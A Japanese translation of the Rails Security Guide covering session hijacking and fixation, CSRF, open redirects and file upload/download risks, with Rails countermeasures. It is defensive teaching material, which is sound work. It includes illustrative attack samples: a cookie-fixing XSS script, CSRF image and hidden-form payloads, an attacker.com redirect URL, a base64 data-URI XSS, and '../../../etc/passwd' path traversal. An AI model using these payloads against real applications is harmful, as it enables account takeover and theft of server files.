Rails セキュリティガイド

このマニュアルでは、Webアプリ全般におけるセキュリティの問題と、Railsでそれらの問題を回避する方法について説明します。

このガイドの内容:

1 はじめに

Webアプリフレームワークは、Webアプリを容易に開発できるようにするために作られました。その中にはセキュリティを比較的高めやすいフレームワークもあります。実際のところ、あるフレームワークは他のよりも安全であるということは一概には言えません。正しく用いることができているのであれば、たいていのフレームワークで安全なWebアプリを構築できます (逆に言えば、正しく用いられていなければどんなWebアプリを採用しようとも安全を保つことはできません)。Ruby on Railsには、こうした問題が大事に至らないようにセキュリティを保つための便利なヘルパーメソッド (SQLインジェクション対策用など) がいくつか用意されています。筆者がこれまで監査したRailsアプリはいずれもセキュリティの水準を満たしており、誠に喜ばしい限りです。

一般に、導入するだけでたちまちセキュリティを保つことができるような便利なものはありません。セキュリティは、フレームワークを使用する人間に強く依存します。場合によっては開発方法もセキュリティに影響することがあります。セキュリティは、Webアプリを構成するあらゆる階層 (バックエンドのストレージ、Webサーバー、Webアプリ自身、他の階層など) に依存しています。どれか一つの階層に問題があれば、他の階層がどれだけ堅固であっても全体のセキュリティはその問題のある階層のレベルにまで落ちてしまいます。

Gartner Groupは、攻撃の75%がWebアプリ層に対して行われていると見積もっており、監査を受けた300のWebサイトのうち97%が脆弱性を抱えているという結果を得ています。これは、Webアプリに対する攻撃は比較的行いやすく、一般人であっても理解や操作が可能なほどにWebアプリがシンプルであるためです。

Webアプリに対する脅威には、ユーザーアカウントのハイジャック、アクセス制御のバイパス、機密データの読み出し、不正なコンテンツの表示など、さまざまなものがあります。さらに、攻撃者が金儲けまたは企業資産の改ざんによる企業イメージ損壊の目的で、トロイの木馬プログラムや迷惑メール自動送信プログラムを仕込んだりすることもありえます。このような攻撃を防ぎ、影響を最小限にとどめ、攻撃されやすいポイントを除去するためには、敵の攻撃方法を完全に理解しておくことが何よりも必要です。そうでないと、正しい対策を取ることができません。以上が本ガイドの目的です。

安全なWebアプリを開発するために必要なのは、すべての階層を最新の状態に保つこと、そして敵を知ることです。最新の状態に保つためには、セキュリティメーリングリストを購読し、セキュリティブログにしっかり目を通し、更新プログラムを適用し、セキュリティチェックの習慣を身に付けることです (追加資料の章も参照してください)。筆者はこれらのことを手動で行っていますが、これは、あえて手動で行なうことによって厄介な論理上のセキュリティ問題を発見するための方法となるからです。

2 セッション

セッションは、セキュリティに関する考察を始めるのにおあつらえ向きです。セッションはある種の攻撃の対象になることがあります。

2.1 セッションとは何か

HTTPはステートレスのプロトコルです。セッションは、これをステートフルに変えるものです。

多くのアプリでは、特定のユーザーがどのような状態にあるかを追跡する必要があります。ショッピングサイトの買い物カゴや、現在ログインしているユーザーのidなどがこれに該当します。セッションという概念がなければ、ユーザーの識別・認証をリクエストを発行するたびに行わなければならなくなります。 Railsは、ユーザーがアプリに新しくアクセスするときに自動的にセッションを作成します。ユーザーが既にアプリを使用中であれば、既存のセッションを読み込みます。

通常、セッションを構成する要素は、値のハッシュとセッションidです。セッションIDは32文字の文字列で、ハッシュを特定するために使用します。クライアントのブラウザに送信されるCookieには、常にセッションIDが含まれています。別の見方をすると、ブラウザはクライアントからリクエストを送信するたびにcookieを送信します。Railsでは、セッションメソッドを使用して値の保存と取り出しを行なうことができます。

session[:user_id] = @current_user.id
User.find(session[:user_id])

2.2 セッションID

セッションIDは、32桁の16進数のランダムな文字列です。

セッションIDはSecureRandom.hexで生成されます。これは暗号学的に安全な乱数を生成するためにプラットフォーム固有の暗号化手法(OpenSSL、/dev/urandom、またはWin32など)を用いてランダムな16進数の文字列を生成します。現時点では、RailsのセッションIDへのブルートフォース攻撃は困難になっています。

2.3 セッションハイジャック

ユーザーのセッションIDが盗まれると、攻撃者がそのユーザーをかたってWebアプリを使用できてしまいます。

多くのWebアプリには何らかの認証システムがあります。ユーザーがユーザー名とパスワードを入力すると、Webアプリはそれらをチェックして、対応するユーザーIDをセッションハッシュに保存します。以後、そのセッションは有効になります。リクエストが行われるたびに、Webアプリはセッションで示されたユーザーidを持つユーザーを読み込みます。このときに再度認証を行なう必要はありません。セッションは、cookie内のセッションidによって識別できます。

このように、cookieはWebアプリに一時的な認証機能を提供しています。他人のcookieを奪い取ることができれば、そのユーザーの権限でWebアプリを使うことができてしまいます。これによっておそらく深刻な結果が生じる可能性があります。セッションハイジャックの手法と対策をいくつかご紹介します。

  • セキュリティに不備のあるネットワークではcookieを覗き見することができてしまいます。無線LANは、まさにそのようなネットワークの一例です。接続されているクライアントのすべてのトラフィックをのぞき見ることは、暗号化されていない無線LANでは特に簡単に行なうことができます。喫茶店で仕事をしない方がよい理由はもうひとつあります。Webアプリの開発者にとっては、これはSSLによる安全な接続の提供が必要であるということです。Rails 3.1以降では、アプリの設定ファイルでSSL接続を強制することによって達成できます。

    config.force_ssl = true
    
  • 公共の端末での作業後にcookieを消去するような殊勝なユーザーはほとんどいません。最後のユーザーがWebアプリからログアウトするのを忘れて立ち去っていたら、次のユーザーはそのWebアプリをそのまま使えてしまいます。ユーザーにはログアウトボタンを提供しなければなりません。それもよく目立つボタンを。

  • クロスサイトスクリプティング (XSS) 攻撃は、多くの場合、ユーザーのcookieを手に入れるのが目的です。XSSの詳細も参照してください。

  • 攻撃者が自分の知らないcookieをわざわざ盗み取る代りに、自分が知っているcookieのセッションidを固定してしまうという攻撃方法もあります。詳細については後述のセッション固定に関する記述を参照してください。

たいていの場合、攻撃者の目的は金儲けです。Symantec Global Internet Security Threat Reportによると、盗まれた銀行口座アカウントの闇価格は、利用可能な資金にもよりますがだいたい$10から$1000ぐらい、クレジットカード番号が$0.40から$20ぐらい、オンラインオークションサイトのアカウントが$1から$8ぐらい、電子メールのパスワードが$4から$30くらいだそうです。

2.4 セッションの取り扱いに関するガイドライン

セッションを取り扱う際の一般的な注意について解説します。

  • セッションには巨大なオブジェクトを格納しないこと。そのような大きなデータはサーバー側のデータベースに格納するようにし、セッションにはそのidだけを保存してください。こうすることで、同期に関して悩まずに済み、セッションのストレージ容量があふれることもありません(セッションの格納先をどこにするかにもよりますが: 後述)。 この方法は、オブジェクトの構造を変更し、変更前の古いオブジェクトが一部のユーザーによってまだ使用されているような場合にも有用です。セッションがサーバー側で保存されていればセッションを消去するのは容易ですが、セッションがクライアント側に格納されていると、それを制御するのは厄介です。

  • セッションに重要なデータを保存しないこと。ユーザーがcookieを消去したりブラウザを閉じたりすると、それらの情報が失われてしまいます。しかも、そのセッションがクライアント側に保存されていると、ユーザーがそのデータを読むことができてしまいます。

2.5 暗号化済みセッションストレージ

Railsにはセッションハッシュを保存するためのしくみが複数用意されています。中でも最も重要なのがActionDispatch::Session::CookieStoreです。

CookieStoreはクライアント側のcookieにセッションハッシュを直接保存します。サーバーはこのセッションハッシュをcookieから取得し、セッションIDの必要性を解消します。これを用いるとアプリのスピードは著しく向上しますが、このストレージオプションについては議論の余地があるため、セキュリティ上の意味やストレージでの制約について十分考えておかなければなりません。

  • cookieでは、4KBという厳密な上限サイズが暗に求められます。上述したように、いずれの場合もセッションに大量のデータを保存すべきではないため問題はありません。現在のユーザーのデータベースidはセッションに保存するのが普通です。

  • セッションcookieは自分自身を無効にすることはないため、悪用目的で使い回される可能性があります。保存してあったタイムスタンプを用いて古いセッションcookieをアプリから無効にするのもひとつのよい方法です。

CookieStoreはセッションデータの保管場所をencrypted cookie jarで安全に暗号化します。これにより、cookieベースのセッションの内容の一貫性と機密性を同時に保ちます。暗号化鍵は、signed cookieに用いられる検証鍵と同様に、secret_key_base設定値から導出されます。

Rails 5.2から暗号化cookieとセッションはAES GCM暗号化を用いて保護されるようになりました。この暗号化手法は、認証と暗号化を一括で行える認証付き暗号(Authenticated Encryption)の一種であり、生成される暗号化テキストが従来のアルゴリズムに比べて短いという特徴があります。AES GCM方式で暗号化されたcookieの鍵の導出には、config.action_dispatch.authenticated_encrypted_cookie_salt設定値で定義されるsalt値が用いられます。

1つ前のバージョンの暗号化済みcookieは、HMAC(認証にSHA1を利用)CBCモードを用いたAESで保護されていました。この種の暗号鍵やHMAC検証鍵は、それぞれconfig.action_dispatch.encrypted_cookie_saltconfig.action_dispatch.encrypted_signed_cookie_saltから導出されていました。

Rails 4より前(Rails 2とRails 3の両方)は、セッションcookieの保護に使われていたのはHMAC検証しかありませんでした。このため、これらのセッションcookieではコンテンツの一貫性しか提供されません。これは、実際のセッションデータがBase64でエンコードされた平文形式で保存されるためです。現在のバージョンのRailsでは、これはsigned cookie向けのしくみに使われています。この種のcookieは、クライアント側に保存される特定のデータや情報の一貫性を保護する目的であれば現在も有用です。

secret_key_baseに安全性の低い秘密鍵(辞書に載っている単語や30文字未満の文字列など)を使ってはいけません。秘密鍵の生成にはrails secretをお使いください!

暗号化済みcookieと署名済みcookieで使うsalt値を同じにしないことも重要です。複数のsalt設定に異なる値ではなく同じsalt値を使ってしまうと、別のセキュリティ機能で同じ鍵が導出されてしまい鍵の強度が落ちる可能性があります。

test環境とdevelopment環境のアプリでは、アプリ名からsecret_key_baseを導出します。それ以外の環境では、必ずconfig/credentials.yml.encにあるランダムな鍵を使わなければなりません(以下は復号化された状態)。

secret_key_base: 492f...

秘密鍵が漏洩しているアプリ(ソースが公開されているアプリなど)を受け取ったら、秘密鍵の変更をぜひとも検討すべきです。

2.6 暗号化cookieや署名済みcookieの設定をローテーションする

cookie設定のローテーションは、古いcookieが即座に無効にならないようにする理想的な方法です。ユーザーが次回アプリを開いたときに古い設定を含むcookieを読み込み、新しい内容を再び書き込むというものです。十分多くのユーザーがcookieの更新を完了したとみなせれば、ローテーションを削除できます。

ローテーションは、暗号化cookieや署名済みcookieの暗号文およびダイジェストに対して行えます。

たとえば、署名済みcookieのダイジェストをSHA1からSHA256に変更する場合、最初に新しい設定値を代入します。

Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"

後は古いSHA1ダイジェストのローテーションを追加すれば、既存のcookieがシームレスにSHA256ダイジェストにアップグレードされます。

Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
  cookies.rotate :signed, digest: "SHA1"
end

以後の署名済みcookieはすべてSHA256でダイジェストされて書き込まれます。古いSHA1 cookieも従来どおり読み出され、しかもアクセス時には新しいダイジェストで書き込まれます。これによってアップグレードが完了し、かつローテーションを削除しても無効になりません。

署名済みcookieがSHA1でダイジェストされているユーザーへのcookie更新を打ち切ることが決まったら、ローテーションを削除します。

ローテーションはいくつでも好きなだけ設定できますが、一度に多数のローテーションを実施するのは一般的ではありません。

暗号化メッセージや署名済みメッセージの鍵ローテーション、およびrotateメソッドで使えるさまざまなオプションについては、MessageEncryptor APIドキュメントやMessageVerifier APIドキュメントを参照してください。

2.7 CookieStoreセッションに対する再生攻撃

CookieStoreを扱うのであれば、もう一つの攻撃方法である「再生攻撃 (replay attack)」についても知っておく必要があります。

この動作は次のようになります。

  • ユーザーがクレジットを受け取る。総額はセッションに保存されている (これはあくまで説明のためのものであり、やってはいけません)。
  • ユーザーがクレジットで何かを購入する。
  • つかった分減ったクレジットがセッションに保存される。
  • ここでユーザーの暗黒面が発動。最初にブラウザに保存されていたcookieをコピーしてあったものを、現在のブラウザのcookieと差し替える。
  • ユーザーのクレジット額が元に戻る。

この再生攻撃は、セッションにnonce (1回限りのランダムな値) を含めておくことで防ぐことができます。nonceが有効なのは1回限りであり、サーバーはnonceが有効かどうかを常に追跡し続ける必要があります。複数のアプリサーバーで構成された、合いの子アプリの場合、さらに複雑になります。nonceをデータベースに保存してしまうと、せっかくデータベースへのアクセスを避けるために設置したCookieStoreを使用する意味がなくなってしまいます。

結論から言うと、 この種のデータはセッションではなくデータベースに保存するのが最善です。この場合であれば、クレジットをデータベースに保存し、logged_in_user_idをセッションに保存します。

2.8 セッション固定攻撃

ユーザーのセッションIDを盗む代りに、攻撃者が意図的にセッションIDを既知のものに固定するという方法があります。この手法はセッション固定 (session fixation) と呼ばれます。

Session fixation

この攻撃では、ブラウザ上のユーザーのセッションIDを攻撃者が知っているセッションidに密かに固定しておき、ブラウザを使うユーザーが気付かないうちにそのセッションIDを強制的に使わせます。この方法であれば、セッションIDを盗み出す必要すらありません。攻撃方法は次のとおりです。

  • 攻撃者は有効なセッションIDを生成します。Webアプリのログインページ (つまりセッション固定攻撃の対象ページ) を開き、レスポンスに含まれるcookieからセッションIDを取り出します (図の1と2を参照)。
  • 標的となっているユーザーのセッションがまだ残っているのであれば、セッションが期限切れになるのを待ちます。たとえば期限が20分に設定されていると、攻撃者の待ち時間が減って攻撃しやすくなります。標的ユーザーは、セッションを維持するためにときどきWebアプリにアクセスします。
  • ここで攻撃者は、標的ユーザーのブラウザでこのセッションIDを強制的に読み込ませます (図の3を参照)。同一生成元ポリシーの制限によって、外部ドメインから標的ユーザーのcookieを変更できないのが普通なので、攻撃者はWebサーバーのドメインを経由してJavaScriptを標的ユーザーのブラウザに送り込んで読み込ませます。クロスサイトスクリプティング (XSS) によってJavaScriptコードの注入 (インジェクション) に成功すれば、攻撃は完了です。セッションidの例: <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>。XSSとインジェクションの詳細については後述します。
  • 攻撃者は、JavaScriptを仕込んだページに標的ユーザーを誘い込みます。標的ユーザーがブラウザでページを開くと、そのユーザーのセッションIDが攻撃者の仕込んだものと差し替えられます。
  • 仕込まれたセッションIDでのログインがそのブラウザでは行われていなかったので、Webアプリはユーザーに認証を要求します。
  • 認証が完了すると、標的ユーザーと攻撃者は同じセッションを共有した状態になります。このセッションは有効であり、標的ユーザーは攻撃されたことにも気付きません。

2.9 セッション固定攻撃 - 対応策

セッション固定攻撃は、たった1行のコードで防止できます。

最も効果的な対応策は、ログイン成功後に古いセッションを無効にし、新しいセッションidを発行することです。これなら、攻撃者がセッションidを固定する余地はありません。この対応策は、セッションハイジャックにも有効です。Railsで新しいセッションを作成する方法を以下に示します。

reset_session

ユーザー管理用にDeviseなどの有名なgemを導入しているのであれば、ログイン/ログアウト時にセッションが自動的に切れるようになります。もし自分で管理する場合は、ログインした後 (セッションが作られた後) にセッションを切るように注意してください。上のメソッドを実行するとセッションにあるすべての値が削除されるので、新しいセッションにそれらの値を移行しておく必要があります。

その他の対応策として、セッションにユーザー固有のプロパティを保存しておき、ユーザーからリクエストを受けるたびに照合して、マッチしない場合はアクセスを拒否するという方法もあります。ユーザー固有のプロパティとして利用可能な情報には、リモートIPアドレスや user agent (= webブラウザの名前) がありますが、後者は完全にユーザー固有とは限りません。IPアドレスを保存して対応する場合、インターネットサービスプロバイダ (ISP) や大企業からのアクセスはプロキシ越しに行われていることが多いことを忘れないようにしておく必要があります。IPアドレスはセッションの途中で変わる可能性があるため、IPアドレスをユーザー固有の情報として使用しようとすると、ユーザーがWebアプリにアクセスできなくなったり、ユーザーの使用に制限が加わる可能性があります。

2.10 セッションの期限切れ

セッションを無期限にすると、攻撃される機会を増やしてしまいます (クロスサイトリクエストフォージェリ (CSRF)、セッションハイジャック、セッション固定など)。

セッションIDを持つcookieのタイムスタンプに有効期限を設定するという対応策も考えられなくはありません。しかし、ブラウザ内に保存されているcookieをユーザーが編集できてしまう点は変わらないので、やはりサーバー側でセッションを期限切れにする方が安全です。 データベーステーブルのセッションを期限切れにする. には、たとえば次のように行います。Session.sweep("20 minutes")を呼ぶと、20分以上経過したセッションが期限切れになります。

class Session < ApplicationRecord
  def self.sweep(time = 1.hour)
    if time.is_a?(String)
      time = time.split.inject { |count, unit| count.to_i.send(unit) }
    end

    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
  end
end

この節では、セッション保持の問題のところで触れたセッション固定攻撃について説明します。攻撃者が5分おきにセッションを維持すると、サーバー側でセッションを期限切れにしようとしてもセッションを恒久的に継続させることができてしまいます。これに対する単純な対策は、セッションテーブルにcreated_atカラムを追加することです。これで、期限を過ぎたセッションを削除できます。上のsweepメソッドで以下のコードを使用します。

delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
  created_at < '#{2.days.ago.to_s(:db)}'"

3 クロスサイトリクエストフォージェリ (CSRF)

この攻撃方法は、ユーザーによる認証が完了したと考えられるWebアプリのページに、悪意のあるコードやリンクを仕込むというものです。そのWebアプリへのセッションがタイムアウトしていなければ、攻撃者は本来認証されていないはずのコマンドを実行できてしまいます。

セッションの章で、多くのRailsアプリがcookieベースのセッションを使用していることを説明しました。このとき、セッションIDをcookieに保存してサーバー側にセッションハッシュを持つか、すべてのセッションハッシュをクライアント (ブラウザ) 側に持ちます。どちらの場合にも、ブラウザはリクエストのたびにcookieを自動的にドメインに送信します (そのドメインで使用できるcookieがある場合)。ここで問題となるのは、異なるドメインに属するサイトからリクエストがあった場合にもブラウザがcookieを送信してしまうという点です。以下の例で考えてみましょう。

  • ボブは掲示板をブラウザで眺めていて、とあるハッカーによる書き込みを目にします。その書き込みには仕掛けのあるHTML image要素が含まれています。その要素が実際に参照しているのは画像ファイルではなく、ボブのプロジェクト管理アプリを標的にしたコマンド(<img src="http://www.webapp.com/project/1/destroy">)です。
  • ボブはここ数分間ログアウトしていないので、www.webapp.com に対するボブのセッションはまだ期限切れになっていません。
  • ハッカーによる書き込みがブラウザで表示されると、ブラウザはimageタグを見つけます。そしてブラウザは www.webapp.comからその怪しい画像を読み出そうとします。前述のとおり、このときに有効なセッションidを含むcookieも一緒に送信されます。
  • www.webapp.com のWebアプリは、リクエストに対応するセッションハッシュに含まれるユーザー情報が有効であると認定し、その指示に従ってID 1のプロジェクトを削除します。そしてブラウザは結果ページを表示して何らかの問題が生じたことを示します。画像は表示されません。
  • ボブは攻撃に気付いていません。しかし数日後にはプロジェクトNo.1が削除されていることを知ります。

ここで重要なのは、仕掛けのある画像やリンクの置き場所はWebアプリのドメインに限らないということです。フォーラム、ブログ、email、どこにでも置けます。

CSRFは、CVE (Common Vulnerabilities and Exposures) で報告されることはめったにありません (2006年でも0.1%以下) が、それでも「眠れる巨人」[Grossman] であり、危険なことに変わりはありません。筆者や他のセキュリティ専門家によるセキュリティ関連の実績に登場することはほとんどありませんが、CSRFは非常に重大なセキュリティ問題であることは強く認識していただきたいと思います。

3.1 CSRFへの対応策

第一に、W3Cが要求しているとおり、GETとPOSTを適切に使用します。第二に、GET以外のリクエストにセキュリティトークンを追加することで、WebアプリをCSRFから守ることができます。

HTTPプロトコルは2つの基本的なリクエストであるGETとPOST(DELETE、PUT、PATCHはPOSTと同様に使われるべきです)を提供しています 。World Wide Web Consortium (W3C) は、HTTPのGETやPOSTを選択する際のチェックリストを提供しています。

以下の場合はGETを使用すること

  • そのやりとりが基本的に問い合わせである場合 (クエリ、読み出し操作、検索のような安全な操作)

以下の場合はPOSTを使用すること

  • そのやりとりが基本的に命令である場合、または
  • そのやりとりによってリソースの状態が変わり、そのことがユーザーにわかる場合 (サービスへの申し込みなど)、または
  • そのやりとりによって生じる結果に対してユーザーが責任を持つ場合。

WebアプリがRESTfulであれば、PATCH、PUT、DELETEなどのメソッドも使用されているでしょう。しかし、現時点のブラウザではこれらのメソッドはほとんどサポートされていません。確実にサポートされているのはGETとPOSTだけです。Railsでは_methodという隠しフィールドを使用してこれらのメソッドをサポートしています。

POSTリクエストも (意図に反して) 自動的に送信されることがありえます。ブラウザのステータスバーに、www.harmless.com というWebサイトへのリンクが表示されているとします。そしてこのリンクには仕掛けがあり、POSTリクエストをこっそり送信する新しいフォームを動的に作成するようになっているとします。

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>

あるいは、攻撃者がこのコードを画像のonmouseoverイベントハンドラに仕込んであるとします。

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

<script>タグを使用して、JSONPやJavaScriptの応答を伴う特定のURLへのクロスサイトリクエストを作成するなど、攻撃方法は多種多様です。この応答は攻撃者が見つけ出すことのできた実行可能なコードであり、機密データを取り出すことができる可能性があります。このようなデータ流出を防止するには、クロスサイトの<script>タグを無効にします。ただしAjaxリクエストはブラウザの「同一生成元ポリシー」に従って動作する(XmlHttpRequestを開始できるのは自サイトのみ)ため、JavaScriptレスポンスを返すことを安全に許可できます。

Note: <script>タグのoriginが同じサイトか悪意のあるサイトかは区別しようがありません。このため<script>タグは、たとえ実際には自サイトからの同一originのスクリプトであっても、全面的にブロックしなければなりません。このような場合、<script>でJavaScriptを使う操作については明示的にCSRF保護をスキップしてください。

この種の偽造リクエストをすべて防止するには、必須セキュリティトークンを導入します。このトークンは自分のサイトだけが知っており、他のサイトは知りません。リクエストにはこのセキュリティトークンを含め、サーバー側でこれを検証します。以下の1行コードはアプリのコントローラに追加するものであり、Railsで新規作成したアプリにはこのコードがデフォルトで含まれます。

protect_from_forgery with: :exception

このコードがあると、Railsで生成されるすべてのフォームとAjaxリクエストにセキュリティトークンが自動的に含まれます。セキュリティトークンがマッチしない場合には例外がスローされます。

Railsにデフォルトで含まれるunobtrusive scripting adapterが追加するX-CSRF-Tokenというヘッダーには、GET以外のあらゆるAjax呼び出しでセキュリティトークンを含みます。このヘッダーがないと、RailsはGET以外のAjaxリクエストを受け付けなくなります。Ajax呼び出しに他のライブラリを使う場合は、そのライブラリのAjax呼び出しのデフォルトのヘッダーにセキュリティトークンを追加する必要があります。このトークンを取得するにはアプリのビューで<%= csrf_meta_tags %>から出力される<meta name='csrf-token' content='THE-TOKEN'>タグをご覧ください。

恒常的なcookieにユーザー情報を保存する (たとえばcookies.permanentなどに) ことはよく行われています。この場合cookieは消去されないことにご注意ください。そして、前述の保護機構の外ではCSRFからの保護は受けられないということになります。何らかの理由でこのような情報をセッション以外のcookieストアに保存したいのであれば、Railsによる保護を受けられないことになるので、開発者自身がセキュリティ対策を行わなければなりません。

rescue_from ActionController::InvalidAuthenticityToken do |exception|
  sign_out_user # ユーザーのcookieを削除するメソッドの例
end

前述のメソッドはApplicationControllerに置くことができます。そして、非GETリクエストにCSRFトークンがない場合やトークンが無効な場合にこのメソッドが呼び出されます。

気を付けていただきたいのは、クロスサイトスクリプティング (XSS) 脆弱性は、あらゆるCSRF保護を迂回してしまうということです。XSS脆弱性が存在すると、攻撃者はWebページのあらゆる要素にアクセスできてしまいます。そのため、フォームからCSRFセキュリティトークンを読みだしてそのフォームを直接送信することができてしまいます。後述のXSSの詳細にも目を通してください。

4 リダイレクトとファイル

セキュリティ上の脆弱性として次に検討したいのは、Webアプリにおける「リダイレクトとファイル」です。

4.1 リダイレクト

Webアプリにおけるリダイレクトは、クラッキングツールとして危険であるにもかかわらず、過小評価されがちです。攻撃者はこれを使用してユーザーを危険なWebサイトに送り込んだり、Webサイト自体に罠を仕掛けたりすることもできます。

リダイレクト用のURL (の一部) をユーザーが受け入れてしまうと、潜在的な脆弱性となります。最もあからさまな攻撃方法としては、ユーザーを本物そっくりの偽Webサイトにリダイレクトすることが考えられます。これは俗に「フィッシング(phishing)」や「釣り」などと呼ばれる攻撃手法です。具体的には、無害を装ったリンクを含むメールをユーザーに送りつけ、XSSを使用してそのリンクをWebアプリに注入したり、リンクを外部サイトに送信したりします。このリンクはそのWebアプリのURLで始まっているので、一見無害に見えます。危険なサイトに導くURLはリダイレクトのパラメータの中に隠されています ( http://www.example.com/site/redirect?to=www.attacker.com )。ここでは古いアクションを例示します。

def legacy
  redirect_to(params.update(action:'main'))
end

このコードは、古いアクションに対するアクセスがあれば、ユーザーをメインのアクションにリダイレクトします。このコードの本来の意図は、従来のアクションへのURLパラメータを保護し、それをメインのアクションに渡すことです。しかし、このURLにホスト鍵が含まれていると、攻撃者に悪用される可能性があります。

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

URLの末尾にあるホスト鍵は気付かれにくく、ユーザーはattacker.comホストにリダイレクトされてしまいます。単純な対応策としては、古いアクションでは期待に添うパラメータだけを含めるようにするという方法があります (これはホワイトリスト的アプローチであり、期待に添わないパラメータを除外する方法の対極にあります)。 URLをリダイレクトする場合は、ホワイトリストまたは正規表現と照合するようにしてください。

4.1.1 自己完結型XSS

データプロトコルを使用することで、FirefoxとOperaに対して別のタイプのリダイレクションと自己完結型XSS攻撃を実行できてしまいます。データプロトコルは、その内容をブラウザに直接表示することができます。しかも、HTML、JavaScriptや画像イメージまるごとなど、何でも含めることができます。

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

この例ではBase64でエンコードされたJavaScriptを使用しています。このJavaScriptは単にメッセージボックスを表示します。リダイレクションURL攻撃では、攻撃者がこのような悪意のあるコードを含んだURLへのリダイレクトを行います。この攻撃への対応策は、リダイレクトするURL(あるいはその一部)をユーザーが与えられないようにすることです。

4.2 ファイルアップロード

ファイルがアップロードされたときに重要なファイルが上書きされることのないようにしましょう。また、メディアファイルの処理は非同期で行なうようにしましょう。

多くのWebアプリでは、ユーザーがファイルをアップロードできるようになっています。ユーザーが選択/入力できるファイル名 (またはその一部) は必ずフィルタしてください。攻撃者が危険なファイル名をわざと使用してサーバーのファイルを上書きしようとする可能性があるためです。ファイルが /var/www/uploads ディレクトリにアップロードされ、そのときにファイル名が "../../../etc/passwd" と入力されていると、重要なファイルが上書きされてしまう可能性があります。言うまでもなく、Rubyインタプリタにそれだけの実行権限が与えられていなければ、そのような上書きは実行できません。Webサーバー、データベースサーバーなどのプログラムは、比較的低い権限を持つUnixユーザーとして実行されているのが普通です。

そしてもう一つ注意があります。ユーザーが入力したファイル名をフィルタするときに、ファイル名から危険な部分を取り除こうなどとしないことです。Webアプリがファイル名から"../"という文字を取り除くことができるとしても、今度は攻撃者が "....//" のようなその裏をかくパターンを使用すれば、やはり "../" という相対パスが通ってしまいます。最も良いのは「ホワイトリスト」によるアプローチです。これは ファイル名が有効であるかどうか (指定された文字のみが使用されているかどうか) をチェックするものです. これは「ブラックリスト」アプローチと逆の手法です。こちらは、使用が許されてない文字を除去します。ファイル名が無効の場合は、拒否するか、無効な文字を置き換えますが、取り除きはしません。attachment_fu pluginのファイル名サニタイザを以下に示します。

def sanitize_filename(filename)
  filename.strip.tap do |name|
    # メモ: File.basenameは、Unix上でのWindowsパスに対しては正常に動作しません
    # フルパスではなくファイル名のみを取得
    name.sub! /\A.*(\\|\/)/, ''
    # 最終的に非英数文字をアンダースコアまたは
    # ピリオドとアンダースコアに置き換え
    name.gsub! /[^\w\.\-]/, '_'
  end
end

(attachment_fu プラグインが画像に対して行なうように) ファイルのアップロードを同期的に行なうと、セキュリティ上かなり不利になります。サービス拒否 (DoS) 攻撃の脆弱性が生じるためです。攻撃者は、同期的に行われる画像ファイルアップロードを多数のコンピュータから同時に実行することで、サーバーに高負荷をかけて最終的にサーバーをクラッシュまたは動作停止に陥らせます。

これに対する最良の対応策は、メディアファイルを非同期的に処理することです。メディアファイルを保存し、その後データベース内への処理のリクエストをスケジューリングします。2つ目の処理は、バックグラウンドで行います。

4.3 ファイルアップロードで実行可能なコードを送り込む

アップロードされたファイルに含まれるソースコードが特定のディレクトリに置かれていると、ソースコードが実行可能になってしまう可能性があります。Rails' の/publicディレクトリがApacheのホームディレクトリになっている場合は、ここにアップロードファイルを置いてはいけません。

広く使用されているApache Webサーバーには DocumentRootというオプションがあります。 これはWebサイトのホームディレクトリであり、このディレクトリツリーに置かれているものはすべてWebサーバーによって取り扱われます。そこに置かれているファイルの名前に特定の拡張子が与えられていると、それに対してリクエストが送信された時に実行されてしまうことがあります (何らかのオプションを与える必要があるかもしれません)。実行される可能性のある拡張子は、たとえばPHPやCGIなどです。攻撃者が "file.cgi" というファイルをアップロードし、その中に危険なコードが仕込まれているとします。このファイルを誰かがダウンロードすると、このコードが実行されます。

ApacheのDocumentRootがRailsの/publicディレクトリを指している場合、アップロードファイルをここに置かないでください。少なくとも1階層下にする必要があります。

4.4 ファイルのダウンロード

ユーザーがどんなファイルでもダウンロードできる状態にしないでください

ファイルアップロード時にファイル名のフィルタが必要だったのと同様、ファイルのダウンロード時にもファイル名をフィルタする必要があります。send_file()メソッドは、サーバーからクライアントにファイルを送信します。フィルタ処理されていないファイル名を使用すると、ユーザーが任意のファイルをダウンロードできるようになってしまいます。

send_file('/var/www/uploads/' + params[:filename])

"../../../etc/passwd" のようなファイル名を渡せば、サーバーのログイン情報をダウンロードできてしまいます。これに対するシンプルな対応策は、リクエストされたファイル名が、期待されているディレクトリにあるかどうかをチェックすることです。

basename = File.expand_path('../../files', __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
     File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, disposition: 'inline'

その他に、ファイル名をデータベースに保存しておき、サーバーのディスク上に置く実際のファイル名には代りにデータベースのidを使用するという方法も併用できます。この方法も、アップロードファイルが実行される可能性を回避する方法として優れています。attachment_fuプラグインでも同様の手法が採用されています。

5 イントラネットとAdminのセキュリティ

イントラネットおよび管理画面インターフェイスは、強い権限が許されているため、頻繁に攻撃の目標にされます。イントラネットおよび管理画面インターフェイスには、他よりも手厚いセキュリティ対策が必要ですが、現実には逆にむしろこれらの方がセキュリティ対策が薄いということがしばしばあります。

2007年、その名もMonster.comというオンラインリクルート用Webアプリで、特別に作られたトロイの木馬プログラムによってイントラネットから情報が盗み出され、文字どおり経営者にとってのモンスターとなった事件がありました。トロイの木馬をわざわざ特別に誂えるというのはこれまでも非常にまれなことであり、リスクとしては相当低いと言えますが、それでもゼロではありませんし、クライアントホストのセキュリティも重要であるという好例でもあります。ただし、イントラネットや管理アプリにとって最も脅威なのはXSSとCSRFです。

XSS: 悪意のあるユーザーがイントラネットの外から入力したデータが再表示されると、WebアプリがXSS攻撃に対して脆弱になります。ユーザー名、コメント、スパムレポート、注文フォームの住所のような情報すらXSS攻撃に使用されることがあります。

